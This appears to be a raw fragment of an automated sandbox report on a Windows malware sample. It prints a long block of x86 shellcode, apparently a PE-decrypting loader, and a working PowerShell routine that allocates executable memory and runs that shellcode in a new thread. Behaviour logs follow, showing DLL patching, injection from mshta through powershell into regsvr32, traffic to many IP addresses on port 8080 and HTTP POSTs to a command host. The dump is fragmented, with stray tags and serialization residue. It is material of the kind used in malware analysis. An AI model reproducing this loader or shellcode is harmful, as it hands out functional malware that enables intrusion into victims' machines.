0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x01 0x00 0x00 0x80 <#vsq#>0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 <#st#>0x30 <#zx#>0x00 0x00 0x8B 0x85 <#zqb#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#zfk#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 <#vl#>0xFF <#xw#>0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 <#kkv#>0x01 0x84 0xDB 0x75 <#yyd#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF <#str#>0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF <#bnl#>0xFF 0xFF 0xFF <#vrh#>0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 <#eu#>0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#iv#>0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 <#lu#>0xC0 0x72 <#ub#>0x74 <#pe#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#zj#>0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 <#jg#>0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 <#vld#>0x00 0xFB 0xFF <#cs#>0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 <#usr#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#kqb#>0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 <#hdh#>0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B <#wsk#>0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C <#be#>0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC <#ed#>0x02 0x00 0x00 0x8B 0x45 <#dj#>0xD0 0x8B 0x58 0x50 0x03 <#ckb#>0xDB <#zrz#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 <#jso#>0x6A 0x00 0xFF 0x55 0xA8 <#zy#>0x89 0x45 0xF8 0x83 0x7D <#vwj#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#zuz#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B <#pfk#>0x45 0xF8 0x50 <#kl#>0xFF 0x95 0x78 0xFF 0xFF 0xFF <#jyv#>0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 <#dkg#>0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C <#fxm#>0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 <#xd#>0x45 0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 <#hf#>0x7C 0x5F <#ck#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#gv#>0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 <#fec#>0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 <#gf#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF <#xl#>0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 <#bhk#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C <#ylw#>0xFF 0xFF 0xFF 0x75 0xAA <#ad#>0x8B 0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 <#oa#>0x00 0x8B 0x45 <#uk#>0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 <#nhx#>0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B <#cw#>0x80 0xA0 0x00 <#bkp#>0x00 0x00 0x03 0x45 0xF0 <#wff#>0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 <#ujk#>0xE8 <#ixs#>0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 <#zau#>0x08 0xD1 0xE8 <#nj#>0x48 0x85 0xC0 <#ly#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#ad#>0x8B 0x45 0xE4 0x66 0x8B <#ges#>0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#rax#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC <#ok#>0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 <#lk#>0x38 0x00 <#un#>0x77 0x8A <#zo#>0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 <#yxk#>0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#efe#>0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x05 <#dp#>0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E <#afn#>0x00 <#bd#>0x00 0x00 0x8B 0x45 0xD0 <#zzr#>0x8B 0x80 <#fh#>0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF <#hde#>0x55 <#cl#>0xBC 0x8B <#cx#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 <#ve#>0x45 0xF8 0x89 0x45 0x88 0xEB <#sch#>0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 <#jlu#>0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 <#mu#>0x45 0xF8 0x89 0x45 0x84 0xEB <#tvi#>0x37 0x8B 0x45 0x88 0x8B 0x30 0xF7 <#prz#>0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#tb#>0xEB <#iq#>0x10 <#jyt#>0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 <#tew#>0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 <#xfz#>0x8C <#cbx#>0x8B 0x78 0x0C <#zrc#>0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 <#eh#>0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 <#znz#>0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 <#pr#>0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 <#yw#>0x65 0x5C <#bq#>0x63 0x6E 0x50 0x39 0x74 0x35 0x5A 0x45 0x00 0x00 0x00 <#nk#>0x00 <#tp#>0x00 0x00 <#ch#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#cst#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fa#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x57 0x43 0x6B <#dvj#>0x67 0x5A 0x4E 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x6D 0x28 0xF6 0x9D 0xBD 0x70 0xA9 0x24 0xD0 0x34 0x6D 0x55 0xF8 0x83 0x78 0x7C 0x79 0x72 0xE8 0x6E 0xB7 0xDD 0x01 0x0F 0xB4 0x56 0x38 0xBB 0x21 0x4F 0x9E 0x00 0x00 0x00 0x00 <#kx#>0x00 0x00 0x00 0x00 0x00 0x73 <#wb#>0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 <#qx#>0x6C 0x00 0x6C 0x00 <#bj#>0x62 0x00 0x70 0x00 0x73 0x00 <#jga#>0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 <#hr#>0x00 0x00 0x00 0x00 0x00 0x00 <#etf#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 <#ky#>0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 <#gtn#>0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0xAC 0x12 <#dsu#>0xD2 0xFE 0xFD <#yyf#>0x8C 0xEF 0x90 0x93 0xB9 0xE8 0x05 0x05 0xA0 0x0B <#bqv#>0xBE 0x51 0x50 0xB1 0x52 0x0A <#xtv#>0xCD 0xA6 0x0B 0x72 0xF3 0x99 0x18 0xB5 0xA5 0xF1 0x29 0x70 0xB2 0x49 0x9F 0x22 0x40 0x53 0xB5 0x4F 0x9E 0x0F 0x2A 0x61 0xD8 0x73 0x5E 0x8B 0x6F 0x0B 0xEB 0x4F 0xFB 0x14 0x27 0x56<#wt#>; #lvvwlo $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #qgtdftprsm if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #lefbm for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #fgakdd ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #vdgsgwt }sleep(1200);}catch{}exit; #zjkvnemqj #kakkngplvklusmfrgecfnnsjlp")32:Tab8,"" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 10390784) "" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 10390784) "mshta.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 3715584) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 1105152) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 3925248) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 3925248) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\crypt32" (Filter: 4; Subtree: 48626944) "regsvr32.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 48619777) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 48619777) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 48626945) "regsvr32.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 48626945)33:Taaf,"" wrote bytes "c0df8c771cf98b77ccf88b770d648d7700000000c0119f7500000000fc3e9f7500000000e0139f75000000009457f47525e08c77c6e08c7700000000bc6af37500000000cf319f75000000009319f475000000002c329f7500000000" to virtual address "0x75891000" (part of module "NSI.DLL") "" wrote bytes "711107027a3b0602ab8b02007f950200fc8c0200729602006cc805001ecd03027d260302" to virtual address "0x758B07E4" (part of module "USER32.DLL") "powershell.exe" wrote bytes "d0550b76647314760000000051c1d2759498d275ee9cd27575dcd475273ed4750fb3d8750000000085489f7569879f750f77a175d9179f75ead7a075a9349f75f8119f7520149f750c119f75f5169f7554149f75ff109f7532149f7500000000" to virtual address "0x74501000" (part of module "SHFOLDER.DLL") "powershell.exe" wrote bytes "fe547878" to virtual address "0x72DF1FFC" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "c0df8c771cf98b77ccf88b770d648d7700000000c0119f7500000000fc3e9f7500000000e0139f75000000009457f47525e08c77c6e08c7700000000bc6af37500000000cf319f75000000009319f475000000002c329f7500000000" to virtual address "0x75891000" (part of module "NSI.DLL") "powershell.exe" wrote bytes "711107027a3b0602ab8b02007f950200fc8c0200729602006cc805001ecd03027d260302" to virtual address "0x758B07E4" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "c528c06f" to virtual address "0x00175370" "regsvr32.exe" wrote bytes "e939bb838a" to virtual address "0x7590FDAE" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "f127c06f" to virtual address "0x00175374" "regsvr32.exe" wrote bytes "e969bb838a" to virtual address "0x7590FD66" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "3c33c06f" to virtual address "0x001752EC" "regsvr32.exe" wrote bytes "7d07907781ed8e77ae868d77c6e08c77effd8f772d168e7760149077478d8d77a8e28c7760898d7700000000ad379a758b2d9a75b6419a7500000000" to virtual address "0x74A21000" (part of module "WSHTCPIP.DLL") "regsvr32.exe" wrote bytes "0efc8f7781ed8e77ae868d77c6e08c77effd8f772d168e77c0fc8b77da8f967760149077478d8d77a8e28c7760898d7700000000ad379a758b2d9a75b6419a7500000000" to virtual address "0x74991000" (part of module "WINHTTP.DLL") "regsvr32.exe" wrote bytes "b12dc06f" to virtual address "0x00175378" "regsvr32.exe" wrote bytes "3920c06f" to virtual address "0x001753F0" "regsvr32.exe" wrote bytes "e92ec0838a" to virtual address "0x7590FD2D" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "e912c0838a" to virtual address "0x7590FC61" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "e971e3868a" to virtual address "0x758DDACA" (part of module "USER32.DLL") "regsvr32.exe" wrote bytes "5f2cc06f" to virtual address "0x00175360" "regsvr32.exe" wrote bytes "ab2bc06f" to virtual address "0x00175364"34:T55d,"mshta.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 776) "mshta.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 776) "mshta.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 776) "powershell.exe" wrote 1500 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 880) "powershell.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 880) "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 880) "powershell.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 880) "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 880) "regsvr32.exe" wrote 1500 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 484) "regsvr32.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 484) "regsvr32.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 484) "regsvr32.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 484) "regsvr32.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\regsvr32.exe" (Handle: 484)35:T744,TCP traffic to 142.147.236.193 on port 8080 TCP traffic to 29.183.39.161 on port 8080 TCP traffic to 210.43.221.90 on port 8080 TCP traffic to 21.82.153.5 on port 8080 TCP traffic to 25.202.11.179 on port 8080 TCP traffic to 114.87.202.62 on port 8080 TCP traffic to 96.176.156.112 on port 8080 TCP traffic to 63.224.144.235 on port 8080 TCP traffic to 87.105.189.38 on port 8080 TCP traffic to 188.18.33.10 on port 8080 TCP traffic to 210.41.124.99 on port 8080 TCP traffic to 145.18.126.253 on port 8080 TCP traffic to 190.222.157.35 on port 8080 TCP traffic to 141.158.122.170 on port 8080 TCP traffic to 109.111.206.217 on port 8080 TCP traffic to 222.223.143.103 on port 8080 TCP traffic to 48.107.41.104 on port 8080 TCP traffic to 212.95.82.193 on port 8080 TCP traffic to 161.96.189.91 on port 8080 TCP traffic to 63.115.39.86 on port 8080 TCP traffic to 154.27.232.119 on port 8080 TCP traffic to 88.6.41.93 on port 8080 TCP traffic to 162.121.72.241 on port 8080 TCP traffic to 137.28.37.242 on port 8080 TCP traffic to 218.128.202.41 on port 8080 TCP traffic to 198.221.184.206 on port 8080 TCP traffic to 28.232.12.255 on port 8080 TCP traffic to 206.75.64.47 on port 8080 TCP traffic to 169.112.249.32 on port 8080 TCP traffic to 19.154.208.144 on port 8080 TCP traffic to 151.13.86.15 on port 8080 TCP traffic to 73.203.241.4 on port 8080 TCP traffic to 66.120.48.61 on port 8080 TCP traffic to 172.60.217.28 on port 8080 TCP traffic to 188.203.120.125 on port 8080 TCP traffic to 208.134.25.253 on port 8080 TCP traffic to 162.117.52.122 on port 8080 TCP traffic to 81.8.137.196 on port 8080 TCP traffic to 77.111.115.163 on port 8080 TCP traffic to 86.214.61.186 on port 8080 TCP traffic to 47.186.50.204 on port 8080 TCP traffic to 145.104.108.10 on port 8080 TCP traffic to 188.205.29.54 on port 808036:T894,"POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 384 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 444 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 388 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 448 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 436 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 400 Cache-Control: no-cache" "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 23.245.50.71 Content-Length: 452 Cache-Control: no-cache"37:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd3d3AAAAAAAAAAAAAAAAd3d3d3dwAAAAAAAAAAAAB3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAHd3d3d3d3d3AAAAAAAAAAAAAAAAB3d3d3AAAAAAAAAAAAADEAAAAABwAAAAAAAAAAA7u7uzAAAAAAAAAAAAAAA7u7u7u7AAAAAAAAAAAAMzu7uzu7u7AwAAAAAAAACzC7uxAAA7u7CzAAAAAAAbsTuzCZEAALuzOzAAAAADu7C7sAmZkAA7uwuzAAAAO7szuzAJmZkQA7sLuzAAALu7M7swCZmZmRO7G7uzAAeIiDO7MAmZmZmTuxu7swAAeIh3iDAId3dxB7sbu7AAAAeIg4iACIiHAAiIG7sAAAAAf/GIhwiIEAB4h3hwAAAAAAf3f/h4cAAHiIGHAAAAAAAAOHj/+HE3j/93cAAAAAAAAAB3j//////3AAAAAAAAAAAAAAf////4cAAAAAAAAAAAAAAAB4iHcAAAAAAAAAAAAAd3d3d3